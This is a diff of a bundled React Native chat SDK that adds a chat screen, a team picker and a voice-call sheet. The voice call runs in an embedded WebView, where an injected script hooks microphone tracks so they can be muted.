+    /* @__PURE__ */ jsx11(View10, { style: styles9.closeHint, children: /* @__PURE__ */ jsx11(Text7, { style: styles9.closeHintText, children: "Tap to close" }) })
+  ] }) });
+}
+var styles9 = StyleSheet9.create({
+  backdrop: {
+    flex: 1,
+    backgroundColor: "rgba(0,0,0,0.92)",
+    justifyContent: "center"
+  },
+  image: {
+    width: "100%",
+    height: "85%"
+  },
+  closeHint: {
+    position: "absolute",
+    bottom: 40,
+    alignSelf: "center"
+  },
+  closeHintText: {
+    color: "rgba(255,255,255,0.6)",
+    fontSize: 13
   }
-  render() {
-    if (this.state.hasError) {
-      return /* @__PURE__ */ jsxs9(View10, { style: styles10.error, children: [
-        /* @__PURE__ */ jsx10(Text7, { style: styles10.errorTitle, children: "Plugin Error" }),
-        /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
-        /* @__PURE__ */ jsx10(
-          Pressable5,
+});
+
+// src/AdasChatScreen.tsx
+import { jsx as jsx12, jsxs as jsxs9 } from "react/jsx-runtime";
+function isSameDay2(a, b) {
+  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+}
+function AdasChatScreen({
+  onCallStart,
+  placeholder,
+  footerAccessory,
+  withLightbox = true
+}) {
+  const messages = useChatStore((s) => s.messages);
+  const loading = useChatStore((s) => s.loading);
+  const conversationLoaded = useChatStore((s) => s.conversationLoaded);
+  const loadConversation = useChatStore((s) => s.loadConversation);
+  const sendMessage = useChatStore((s) => s.sendMessage);
+  const listRef = useRef4(null);
+  const [refreshing, setRefreshing] = useState6(false);
+  const [prefill, setPrefill] = useState6("");
+  useEffect6(() => {
+    if (!conversationLoaded) loadConversation();
+  }, [conversationLoaded, loadConversation]);
+  useEffect6(() => {
+    const unsub = pluginCommandEmitter3.on("prepare-chat-message", ({ text }) => {
+      if (text) setPrefill(text);
+    });
+    return unsub;
+  }, []);
+  const useInverted = Platform6.OS !== "web";
+  const listData = useMemo3(
+    () => useInverted ? [...messages].reverse() : messages,
+    [messages, useInverted]
+  );
+  const scrollToLatest = useCallback5((animated) => {
+    if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
+    else listRef.current?.scrollToEnd({ animated });
+  }, [useInverted]);
+  const handleSend = useCallback5((text) => {
+    setPrefill("");
+    sendMessage(text);
+    scrollToLatest(true);
+  }, [sendMessage, scrollToLatest]);
+  const handleRefresh = useCallback5(async () => {
+    setRefreshing(true);
+    try {
+      await loadConversation();
+    } catch {
+    }
+    setRefreshing(false);
+  }, [loadConversation]);
+  const renderItem = useCallback5(({ item, index }) => {
+    const older = useInverted ? listData[index + 1] : listData[index - 1];
+    const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
+    return /* @__PURE__ */ jsxs9(View11, { children: [
+      showDaySep && /* @__PURE__ */ jsx12(DaySeparator, { date: item.timestamp }),
+      /* @__PURE__ */ jsx12(MessageBubble, { message: item })
+    ] });
+  }, [listData, useInverted]);
+  const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx12(TypingIndicator, {}) : null;
+  return /* @__PURE__ */ jsxs9(
+    KeyboardAvoidingView,
+    {
+      style: styles10.root,
+      behavior: Platform6.OS === "ios" ? "padding" : void 0,
+      children: [
+        /* @__PURE__ */ jsx12(
+          FlatList,
           {
-            style: styles10.retryBtn,
-            onPress: () => this.setState({ hasError: false, error: null }),
-            children: /* @__PURE__ */ jsx10(Text7, { style: styles10.retryText, children: "Retry" })
+            ref: listRef,
+            style: styles10.list,
+            data: listData,
+            inverted: useInverted,
+            keyExtractor: (m) => m.id,
+            renderItem,
+            ListHeaderComponent: useInverted ? typingIndicator : null,
+            ListFooterComponent: useInverted ? null : typingIndicator,
+            onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
+            refreshControl: /* @__PURE__ */ jsx12(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada7.orange }),
+            keyboardShouldPersistTaps: "handled",
+            contentContainerStyle: styles10.listContent
           }
-        )
-      ] });
+        ),
+        footerAccessory,
+        /* @__PURE__ */ jsx12(
+          ChatInput,
+          {
+            onSend: handleSend,
+            onCallStart,
+            loading,
+            prefill,
+            placeholder
+          }
+        ),
+        withLightbox && /* @__PURE__ */ jsx12(Lightbox, {}),
+        /* @__PURE__ */ jsx12(WidgetHost, {})
+      ]
     }
-    return this.props.children;
-  }
-};
-function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
-  const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
-  const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
-  const bridge = useNativeBridge(id, connectorId, commandBufferRef);
-  const native = getPluginNative();
-  const theme = usePluginTheme();
-  const user = getUser();
-  const context = useMemo3(() => ({
-    tenant: getTenant3(),
-    pluginId: id,
-    connectorId,
-    user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
-  }), [id, connectorId, user?.actorId, user?.name]);
-  const iframeUrl = manifest?.render?.iframeUrl;
-  if (bundleMissing && iframeUrl) {
-    return /* @__PURE__ */ jsx10(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
-  }
-  if (loading) {
-    return /* @__PURE__ */ jsxs9(View10, { style: styles10.center, children: [
-      /* @__PURE__ */ jsx10(ActivityIndicator2, { size: "small", color: colors2.dark.accent }),
-      /* @__PURE__ */ jsx10(Text7, { style: styles10.loadingText, children: "Loading plugin..." })
-    ] });
-  }
-  if (error || !plugin) {
-    return /* @__PURE__ */ jsx10(View10, { style: styles10.center, children: /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
-  }
-  const { Component } = plugin;
-  return /* @__PURE__ */ jsx10(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx10(Component, { bridge, native, theme, context, props: engineProps }) });
+  );
 }
 var styles10 = StyleSheet10.create({
-  center: {
-    flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: colors2.dark.bgPrimary,
-    paddingHorizontal: 32,
-    gap: 12
-  },
-  loadingText: {
-    color: colors2.dark.textSecondary,
-    fontSize: 14
-  },
-  error: {
+  root: {
     flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: colors2.dark.bgPrimary,
-    paddingHorizontal: 32,
-    gap: 8
-  },
-  errorTitle: {
-    color: colors2.dark.red,
-    fontSize: 16,
-    fontWeight: "600"
-  },
-  errorMessage: {
-    color: colors2.dark.textSecondary,
-    fontSize: 14,
-    textAlign: "center"
+    backgroundColor: ada7.paper
   },
-  retryBtn: {
-    marginTop: 12,
-    paddingHorizontal: 20,
-    paddingVertical: 10,
-    backgroundColor: colors2.dark.accentSoft,
-    borderRadius: 8
+  list: {
+    flex: 1
   },
-  retryText: {
-    color: colors2.dark.accent,
-    fontSize: 14,
-    fontWeight: "600"
+  listContent: {
+    paddingVertical: 12
   }
 });
 
-// src/plugin/PluginSurface.tsx
-import { useEffect as useEffect5, useState as useState6 } from "react";
-import { View as View11, ActivityIndicator as ActivityIndicator3 } from "react-native";
-import { ada as ada7 } from "@ateam-ai-mobile/core";
-import {
-  getPlugin,
-  SurfaceDrawer,
-  SurfaceFullscreen
-} from "@ateam-ai-mobile/plugin-runtime";
-import { jsx as jsx11 } from "react/jsx-runtime";
-function PluginSurface({ pluginId, surface, dismiss, props }) {
-  const [manifest, setManifest] = useState6(null);
-  const [error, setError] = useState6(null);
-  useEffect5(() => {
-    let cancelled = false;
-    getPlugin(pluginId).then((m) => {
-      if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
-    }).catch((e) => {
-      if (!cancelled) setError(e?.message || "Failed to load");
-    });
-    return () => {
-      cancelled = true;
-    };
-  }, [pluginId]);
-  const body = manifest ? /* @__PURE__ */ jsx11(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx11(View11, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx11(ActivityIndicator3, { color: ada7.orange }) });
-  if (surface.type === "fullscreen") {
-    return /* @__PURE__ */ jsx11(
-      SurfaceFullscreen,
-      {
-        visible: true,
-        onClose: dismiss,
-        status: surface.title,
-        showWordmark: true,
-        closeIcon: "x",
-        closeLabel: "Close",
-        children: body
-      }
-    );
-  }
-  return /* @__PURE__ */ jsx11(
-    SurfaceDrawer,
-    {
-      visible: true,
-      onClose: dismiss,
-      title: surface.title || pluginId,
-      subtitle: surface.subtitle,
-      privacy: !!surface.privacy,
-      children: body
-    }
-  );
-}
-
 // src/widgets/WidgetWebView.tsx
 import { useMemo as useMemo4, useState as useState7 } from "react";
 import {
@@ -1712,7 +1771,7 @@ import {
 import { WebView as WebView2 } from "react-native-webview";
 import { ada as ada8 } from "@ateam-ai-mobile/core";
 import { getCoreApiUrl as getCoreApiUrl2 } from "@ateam-ai-mobile/core";
-import { Fragment as Fragment2, jsx as jsx12, jsxs as jsxs10 } from "react/jsx-runtime";
+import { Fragment as Fragment2, jsx as jsx13, jsxs as jsxs10 } from "react/jsx-runtime";
 var fontFam4 = Platform7.OS === "ios" ? "SF Pro Rounded" : void 0;
 function WidgetWebView({ visible, title, bundleUrl, onClose }) {
   const [loading, setLoading] = useState7(true);
@@ -1722,7 +1781,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
     if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
     return `${getCoreApiUrl2()}${bundleUrl}`;
   }, [bundleUrl]);
-  return /* @__PURE__ */ jsx12(
+  return /* @__PURE__ */ jsx13(
     Modal2,
     {
       visible,
@@ -1731,15 +1790,15 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
       onRequestClose: onClose,
       children: /* @__PURE__ */ jsxs10(View12, { style: styles11.root, children: [
         /* @__PURE__ */ jsxs10(View12, { style: styles11.bar, children: [
-          /* @__PURE__ */ jsx12(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
-          /* @__PURE__ */ jsx12(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
-          /* @__PURE__ */ jsx12(View12, { style: styles11.closeBtn })
+          /* @__PURE__ */ jsx13(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
+          /* @__PURE__ */ jsx13(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
+          /* @__PURE__ */ jsx13(View12, { style: styles11.closeBtn })
         ] }),
-        !uri ? /* @__PURE__ */ jsx12(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
-          /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
-          /* @__PURE__ */ jsx12(Text8, { style: styles11.errorSub, children: error })
+        !uri ? /* @__PURE__ */ jsx13(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
+          /* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
+          /* @__PURE__ */ jsx13(Text8, { style: styles11.errorSub, children: error })
         ] }) : /* @__PURE__ */ jsxs10(Fragment2, { children: [
-          /* @__PURE__ */ jsx12(
+          /* @__PURE__ */ jsx13(
             WebView2,
             {
               source: { uri },
@@ -1761,7 +1820,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
               setSupportMultipleWindows: false
             }
           ),
-          loading && /* @__PURE__ */ jsx12(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx12(ActivityIndicator4, { color: ada8.orange }) })
+          loading && /* @__PURE__ */ jsx13(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx13(ActivityIndicator4, { color: ada8.orange }) })
         ] })
       ] })
     }
@@ -1830,6 +1889,596 @@ var styles11 = StyleSheet11.create({
     textAlign: "center"
   }
 });
+
+// src/TenantPicker.tsx
+import { useEffect as useEffect7, useState as useState8 } from "react";
+import { View as View13, Text as Text9, Pressable as Pressable7, ActivityIndicator as ActivityIndicator5, StyleSheet as StyleSheet12, Platform as Platform8 } from "react-native";
+import { ada as ada9, fontSize as fontSize5, borderRadius as borderRadius5, listMyTenants, getTenant as getTenant4 } from "@ateam-ai-mobile/core";
+import { jsx as jsx14, jsxs as jsxs11 } from "react/jsx-runtime";
+var fontFam5 = Platform8.OS === "ios" ? "SF Pro Rounded" : void 0;
+function TenantPicker({ onSelect, currentTenantId }) {
+  const [tenants, setTenants] = useState8(null);
+  const [error, setError] = useState8(null);
+  const active = currentTenantId ?? getTenant4();
+  useEffect7(() => {
+    let cancelled = false;
+    listMyTenants().then((list) => {
+      if (!cancelled) setTenants(list);
+    }).catch((e) => {
+      if (!cancelled) setError(e?.message || "Failed to load teams");
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+  if (error) return /* @__PURE__ */ jsx14(Text9, { style: styles12.error, children: error });
+  if (!tenants) {
+    return /* @__PURE__ */ jsx14(View13, { style: styles12.loading, children: /* @__PURE__ */ jsx14(ActivityIndicator5, { color: ada9.orange }) });
+  }
+  if (tenants.length === 0) return /* @__PURE__ */ jsx14(Text9, { style: styles12.empty, children: "No teams found for this account." });
+  return /* @__PURE__ */ jsx14(View13, { style: styles12.list, children: tenants.map((t) => {
+    const isActive = t.id === active;
+    return /* @__PURE__ */ jsxs11(
+      Pressable7,
+      {
+        accessibilityRole: "button",
+        accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
+        onPress: () => onSelect(t),
+        style: [styles12.row, isActive && styles12.rowActive],
+        children: [
+          /* @__PURE__ */ jsx14(View13, { style: styles12.dot }),
+          /* @__PURE__ */ jsxs11(View13, { style: styles12.rowText, children: [
+            /* @__PURE__ */ jsx14(Text9, { style: styles12.name, children: t.name }),
+            /* @__PURE__ */ jsx14(Text9, { style: styles12.slug, children: t.id })
+          ] }),
+          isActive && /* @__PURE__ */ jsx14(Text9, { style: styles12.check, children: "\u2713" })
+        ]
+      },
+      t.id
+    );
+  }) });
+}
+var styles12 = StyleSheet12.create({
+  list: {
+    gap: 10
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 12,
+    backgroundColor: ada9.paperSoft,
+    borderRadius: borderRadius5.lg,
+    borderWidth: 1,
+    borderColor: "transparent",
+    paddingHorizontal: 16,
+    paddingVertical: 14
+  },
+  rowActive: {
+    backgroundColor: ada9.orangeSoft,
+    borderColor: ada9.orange
+  },
+  dot: {
+    width: 10,
+    height: 10,
+    borderRadius: 5,
+    backgroundColor: ada9.orange
+  },
+  rowText: {
+    flex: 1
+  },
+  name: {
+    color: ada9.ink,
+    fontSize: fontSize5.lg,
+    fontWeight: "600",
+    fontFamily: fontFam5
+  },
+  slug: {
+    color: ada9.inkMuted,
+    fontSize: fontSize5.sm,
+    fontFamily: "monospace"
+  },
+  check: {
+    color: ada9.orangeDeep,
+    fontSize: fontSize5.lg,
+    fontWeight: "700"
+  },
+  loading: {
+    paddingVertical: 24,
+    alignItems: "center"
+  },
+  empty: {
+    color: ada9.inkMuted,
+    fontSize: fontSize5.md,
+    textAlign: "center",
+    paddingVertical: 16
+  },
+  error: {
+    color: "#C15545",
+    fontSize: fontSize5.md,
+    textAlign: "center",
+    paddingVertical: 16
+  }
+});
+
+// src/voice/VoiceCallSheet.tsx
+import { useEffect as useEffect8, useRef as useRef6, useMemo as useMemo5 } from "react";
+import {
+  View as View14,
+  Text as Text10,
+  StyleSheet as StyleSheet13,
+  Platform as Platform9,
+  Pressable as Pressable8,
+  ScrollView
+} from "react-native";
+import Svg2, { Path as Path2, Line as Line2 } from "react-native-svg";
+import { WebView as WebView3 } from "react-native-webview";
+import { ada as ada10 } from "@ateam-ai-mobile/core";
+import { AdaOrb as AdaOrb3, SurfaceFullscreen as SurfaceFullscreen2 } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/voice/useVoiceCall.ts
+import { useState as useState9, useRef as useRef5, useCallback as useCallback6 } from "react";
+import { getVoiceApiUrl as getVoiceApiUrl2, getToken as getToken2, getTenant as getTenant5, getUser as getUser2 } from "@ateam-ai-mobile/core";
+var INJECT_TRACK_HOOK = `
+(function() {
+  if (window._adaTrackHookInstalled) return;
+  window._adaTrackHookInstalled = true;
+  window._allAudioTracks = [];
+  window._adaPeerConnections = [];
+
+  function track(t) {
+    if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
+      window._allAudioTracks.push(t);
+    }
+  }
+
+  // 1) Hook getUserMedia \u2014 captures mic streams at request time.
+  try {
+    if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
+      const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
+      navigator.mediaDevices.getUserMedia = async function(constraints) {
+        const stream = await origGUM(constraints);
+        if (constraints && constraints.audio) {
+          try { stream.getAudioTracks().forEach(track); } catch (e) {}
+        }
+        return stream;
+      };
+    }
+  } catch (e) {}
+
+  // 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
+  try {
+    if (window.RTCPeerConnection) {
+      const origPC = window.RTCPeerConnection;
+      const origAddTrack = origPC.prototype.addTrack;
+      const origAddStream = origPC.prototype.addStream;
+      const origAddTransceiver = origPC.prototype.addTransceiver;
+
+      origPC.prototype.addTrack = function(t) {
+        if (t && t.kind === 'audio') track(t);
+        return origAddTrack.apply(this, arguments);
+      };
+      if (origAddStream) {
+        origPC.prototype.addStream = function(stream) {
+          try { stream.getAudioTracks().forEach(track); } catch (e) {}
+          return origAddStream.apply(this, arguments);
+        };
+      }
+      if (origAddTransceiver) {
+        origPC.prototype.addTransceiver = function(arg) {
+          if (arg && arg.kind === 'audio') {
+            // Transceiver created with kind 'audio' \u2014 sender track set later.
+          } else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
+            track(arg.track);
+          }
+          const tx = origAddTransceiver.apply(this, arguments);
+          try {
+            if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
+          } catch (e) {}
+          return tx;
+        };
+      }
+    }
+  } catch (e) {}
+
+  // 3) Helper exposed for direct calls.
+  window._adaSetMuted = function(muted) {
+    let n = 0;
+    if (Array.isArray(window._allAudioTracks)) {
+      window._allAudioTracks.forEach(function(t) {
+        try { t.enabled = !muted; n++; } catch (e) {}
+      });
+    }
+    return n;
+  };
+})(); true;
+`;
+var buildMuteScript = (muted) => `
+(function(muted) {
+  if (typeof window.setMuted === 'function') { window.setMuted(muted); }
+  let n = 0;
+  if (typeof window._adaSetMuted === 'function') {
+    n = window._adaSetMuted(muted);
+  }
+  // Last-resort scan if hook somehow missed.
+  if (n === 0 && Array.isArray(window._allAudioTracks)) {
+    window._allAudioTracks.forEach(function(t) {
+      try { t.enabled = !muted; n++; } catch (e) {}
+    });
+  }
+  console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
+})(${muted}); true;
+`;
+function useVoiceCall() {
+  const [callState, setCallState] = useState9("idle");
+  const [sessionId, setSessionId] = useState9(null);
+  const [error, setError] = useState9(null);
+  const [transcript, setTranscript] = useState9([]);
+  const [aiPartial, setAiPartial] = useState9("");
+  const [userPartial, setUserPartial] = useState9("");
+  const [muted, setMuted] = useState9(false);
+  const webViewRef = useRef5(null);
+  const handleWebViewMessage = useCallback6((event) => {
+    try {
+      const data = JSON.parse(event.nativeEvent.data);
+      console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
+      switch (data.type) {
+        case "callState":
+        case "call-state":
+          setCallState(data.state);
+          if (data.sessionId) setSessionId(data.sessionId);
+          if (data.error) setError(data.error);
+          break;
+        case "transcript":
+          setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
+          break;
+        case "aiPartial":
+          setAiPartial(data.text);
+          break;
+        case "userPartial":
+          setUserPartial(data.text);
+          break;
+        case "clearPartials":
+          setAiPartial("");
+          setUserPartial("");
+          break;
+        case "error":
+          setError(data.message);
+          setCallState("error");
+          break;
+      }
+    } catch {
+    }
+  }, []);
+  const startCall = useCallback6(() => {
+    setCallState("connecting");
+    setError(null);
+    setTranscript([]);
+    setAiPartial("");
+    setUserPartial("");
+  }, []);
+  const stopCall = useCallback6(() => {
+    webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
+    setCallState("idle");
+    setAiPartial("");
+    setUserPartial("");
+    setMuted(false);
+  }, []);
+  const toggleMute = useCallback6(() => {
+    setMuted((prev) => {
+      const next = !prev;
+      webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
+      return next;
+    });
+  }, []);
+  const getWebViewSource = useCallback6(() => {
+    const token = getToken2();
+    const tenant = getTenant5();
+    const actorId = getUser2()?.actorId || "";
+    return {
+      uri: `${getVoiceApiUrl2()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
+    };
+  }, []);
+  return {
+    callState,
+    sessionId,
+    error,
+    transcript,
+    aiPartial,
+    userPartial,
+    muted,
+    startCall,
+    stopCall,
+    toggleMute,
+    handleWebViewMessage,
+    getWebViewSource,
+    webViewRef,
+    injectedTrackHook: INJECT_TRACK_HOOK
+  };
+}
+
+// src/voice/VoiceCallSheet.tsx
+import { jsx as jsx15, jsxs as jsxs12 } from "react/jsx-runtime";
+var fontFam6 = Platform9.OS === "ios" ? "SF Pro Rounded" : void 0;
+var HIGHLIGHT_PATTERNS = [
+  /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
+  /(?:\+?\d[\s\-().]?){7,}\d/g,
+  /\$\d[\d,]*(?:\.\d{1,2})?/g,
+  /\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
+  /\bhttps?:\/\/\S+/g,
+  /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
+];
+function highlightSegments(text) {
+  const ranges = [];
+  for (const p of HIGHLIGHT_PATTERNS) {
+    p.lastIndex = 0;
+    let m;
+    while ((m = p.exec(text)) !== null) {
+      ranges.push([m.index, m.index + m[0].length]);
+    }
+  }
+  if (!ranges.length) return [{ text, important: false }];
+  ranges.sort((a, b) => a[0] - b[0]);
+  const merged = [];
+  for (const r of ranges) {
+    if (merged.length && r[0] <= merged[merged.length - 1][1]) {
+      merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
+    } else {
+      merged.push([r[0], r[1]]);
+    }
+  }
+  const segments = [];
+  let cursor = 0;
+  for (const [start, end] of merged) {
+    if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
+    segments.push({ text: text.slice(start, end), important: true });
+    cursor = end;
+  }
+  if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
+  return segments;
+}
+function HighlightedText({
+  text,
+  baseStyle,
+  importantStyle
+}) {
+  const segments = useMemo5(() => highlightSegments(text), [text]);
+  return /* @__PURE__ */ jsx15(Text10, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ jsx15(Text10, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
+}
+function VoiceCallSheet({ visible, onClose }) {
+  const {
+    callState,
+    aiPartial,
+    userPartial,
+    transcript,
+    error,
+    muted,
+    startCall,
+    stopCall,
+    toggleMute,
+    handleWebViewMessage,
+    getWebViewSource,
+    webViewRef,
+    injectedTrackHook
+  } = useVoiceCall();
+  const scrollRef = useRef6(null);
+  useEffect8(() => {
+    if (visible && callState === "idle") startCall();
+  }, [visible]);
+  useEffect8(() => {
+    scrollRef.current?.scrollToEnd?.({ animated: true });
+  }, [transcript.length, aiPartial, userPartial]);
+  const handleHangUp = () => {
+    stopCall();
+    onClose();
+  };
+  const orbState = useMemo5(() => {
+    if (callState === "connecting") return "thinking";
+    if (callState === "error") return "idle";
+    if (aiPartial) return "speaking";
+    if (userPartial) return "listening";
+    return "idle";
+  }, [callState, aiPartial, userPartial]);
+  const statusLabel = useMemo5(() => {
+    if (callState === "connecting") return "Connecting\u2026";
+    if (callState === "error") return error || "Couldn\u2019t connect";
+    if (aiPartial) return "Ada is speaking";
+    if (userPartial) return "Listening";
+    if (callState === "connected") return "Go ahead, I\u2019m here.";
+    return "";
+  }, [callState, aiPartial, userPartial, error]);
+  if (!visible) return null;
+  const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
+  return /* @__PURE__ */ jsxs12(
+    SurfaceFullscreen2,
+    {
+      visible,
+      onClose: handleHangUp,
+      status: statusLabel,
+      hero: /* @__PURE__ */ jsx15(AdaOrb3, { size: 180, state: orbState }),
+      closeIcon: "hangup",
+      closeLabel: "End",
+      children: [
+        /* @__PURE__ */ jsxs12(
+          ScrollView,
+          {
+            ref: scrollRef,
+            style: styles13.transcript,
+            contentContainerStyle: styles13.transcriptContent,
+            showsVerticalScrollIndicator: false,
+            children: [
+              callState === "error" && error ? /* @__PURE__ */ jsx15(View14, { style: styles13.errorBox, children: /* @__PURE__ */ jsx15(Text10, { style: styles13.errorText, children: error }) }) : null,
+              visibleEntries.map((entry, i) => /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
+                /* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
+                /* @__PURE__ */ jsx15(
+                  HighlightedText,
+                  {
+                    text: entry.text,
+                    baseStyle: styles13.entryText,
+                    importantStyle: styles13.important
+                  }
+                )
+              ] }, `${entry.ts}-${i}`)),
+              userPartial || aiPartial ? /* @__PURE__ */ jsxs12(View14, { style: styles13.entry, children: [
+                /* @__PURE__ */ jsx15(Text10, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
+                /* @__PURE__ */ jsx15(
+                  HighlightedText,
+                  {
+                    text: userPartial || aiPartial,
+                    baseStyle: styles13.entryTextLive,
+                    importantStyle: styles13.important
+                  }
+                )
+              ] }) : null
+            ]
+          }
+        ),
+        callState === "connected" || callState === "connecting" ? /* @__PURE__ */ jsxs12(View14, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
+          /* @__PURE__ */ jsx15(
+            Pressable8,
+            {
+              onPress: toggleMute,
+              accessibilityRole: "button",
+              accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
+              accessibilityState: { selected: muted },
+              style: [styles13.muteBtn, muted && styles13.muteBtnActive],
+              hitSlop: 12,
+              children: /* @__PURE__ */ jsxs12(Svg2, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? ada10.paper : ada10.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
+                /* @__PURE__ */ jsx15(Path2, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
+                /* @__PURE__ */ jsx15(Path2, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
+                /* @__PURE__ */ jsx15(Line2, { x1: "12", y1: "19", x2: "12", y2: "23" }),
+                /* @__PURE__ */ jsx15(Line2, { x1: "8", y1: "23", x2: "16", y2: "23" }),
+                muted ? /* @__PURE__ */ jsx15(Line2, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: ada10.paper, strokeWidth: 2.4 }) : null
+              ] })
+            }
+          ),
+          /* @__PURE__ */ jsx15(Text10, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
+        ] }) : null,
+        callState !== "idle" && /* @__PURE__ */ jsx15(View14, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ jsx15(
+          WebView3,
+          {
+            ref: webViewRef,
+            source: getWebViewSource(),
+            style: { flex: 1, backgroundColor: "transparent" },
+            onMessage: handleWebViewMessage,
+            onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
+            injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
+            mediaPlaybackRequiresUserAction: false,
+            allowsInlineMediaPlayback: true,
+            mediaCapturePermissionGrantType: "grant",
+            javaScriptEnabled: true,
+            originWhitelist: ["*"]
+          }
+        ) })
+      ]
+    }
+  );
+}
+var styles13 = StyleSheet13.create({
+  transcript: {
+    flex: 1,
+    paddingHorizontal: 28
+  },
+  transcriptContent: {
+    paddingTop: 8,
+    paddingBottom: 16,
+    gap: 14
+  },
+  entry: {
+    flexDirection: "row",
+    gap: 10,
+    alignItems: "flex-start"
+  },
+  role: {
+    fontSize: 10,
+    fontFamily: fontFam6,
+    fontWeight: "700",
+    color: ada10.inkMuted,
+    letterSpacing: 1.4,
+    minWidth: 32,
+    paddingTop: 3,
+    opacity: 0.55
+  },
+  entryText: {
+    flex: 1,
+    fontSize: 14,
+    fontFamily: fontFam6,
+    fontWeight: "400",
+    color: ada10.inkSoft,
+    lineHeight: 20,
+    letterSpacing: -0.1,
+    opacity: 0.42
+  },
+  entryTextLive: {
+    flex: 1,
+    fontSize: 14,
+    fontFamily: fontFam6,
+    fontWeight: "400",
+    color: ada10.inkSoft,
+    lineHeight: 20,
+    letterSpacing: -0.1,
+    opacity: 0.7
+  },
+  important: {
+    fontSize: 17,
+    fontFamily: fontFam6,
+    fontWeight: "700",
+    color: ada10.ink,
+    letterSpacing: -0.1,
+    opacity: 1
+  },
+  errorBox: {
